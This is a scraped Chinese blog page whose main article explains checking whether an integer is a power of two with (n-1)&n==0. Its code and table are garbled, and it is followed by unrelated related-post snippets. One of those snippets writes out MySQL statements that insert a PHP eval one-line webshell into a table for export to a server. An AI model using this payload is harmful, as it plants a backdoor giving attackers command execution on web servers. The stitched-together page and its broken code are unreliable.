就這麼神奇 一句話就判定乙個整數是否是2的整數次方

2021-10-02 17:39:03 字數 602 閱讀 4980

一般來說看到這個題目,大家下意識就聯想到數學中開方的操作,而在編碼過程中可能會想到說,那我一直使用除以2,最後如果得到的餘數為0不就可以了嗎。是的,這是一種辦法,但是我們需要去迴圈多次,步驟也相對麻煩。那麼有沒有更加便捷的方法呢?當然是有的,此時神奇的操作就來了,廢話不多說,直接看**:

十進位制二進位制210

4100

81000

發現什麼端倪沒有?沒錯,那就是在二進位制中,只要是2的整數次方的數字,它的二進位制表現形式始終只會存在1個1。

解決思路:利用位運算與(&)的特性,得到計算公式:(n-1)&n==0,如果滿足該公式,那麼n就是2的整數次方

得出公式的**:

只要是2的整數次方,它就一定滿足這個公式,想去嘗試的小夥伴也可以把其他數字帶進去畫畫圖,相信也是一樣的結果。

/**

* @author zc

*/public

class

test

else

}}

mysql 匯出一句話 MySQL 匯出一句話

drop table if exists temp 如果存在temp就刪掉 create table temp cmd text not null 建立temp表,裡面就乙個cmd欄位 insert into temp cmd values php eval post cmd 把一句話木馬插入到te...

一句話提醒

1 在c 中,父窗體要訪問子窗體變數,需將子窗體變數設為public才能訪問。2 每 5 秒重新整理頁面 5 秒後重定向頁面 3 block 此元素將顯示為塊級元素,此元素前後會帶有換行符。inline 預設。此元素會被顯示為內聯元素,元素前後沒有換行符。4 document.getelementb...

一句話命令

bash 型別 wget r nc np 分片20m 上傳 bypy vvv s 20m upload mac下檢視埠占用 nettop nm tcp brew brew uninstall zsh brew services list brew services start brew servic...